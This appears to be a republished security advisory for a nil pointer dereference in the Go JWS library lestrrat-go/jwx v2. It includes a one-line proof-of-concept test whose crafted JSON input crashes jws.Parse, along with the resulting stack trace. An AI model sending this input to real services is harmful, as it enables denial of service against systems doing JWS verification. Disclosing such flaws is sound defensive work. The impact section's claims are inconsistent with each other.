Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-pvcr-v8j8-j5q3
No affected components available
Summary
Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.
Details
This seems to also affect other functions that calls Parse internally, like jws.Verify.
My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.
Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.
PoC
Reproducer:
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}
Result:
$ go test
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]
goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
/usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
/usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
/usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
/usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
/usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
/usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
/home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
/usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL poc 0.005s
Impact
The vulnerability can be used to crash / DOS a system doing JWS verification.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard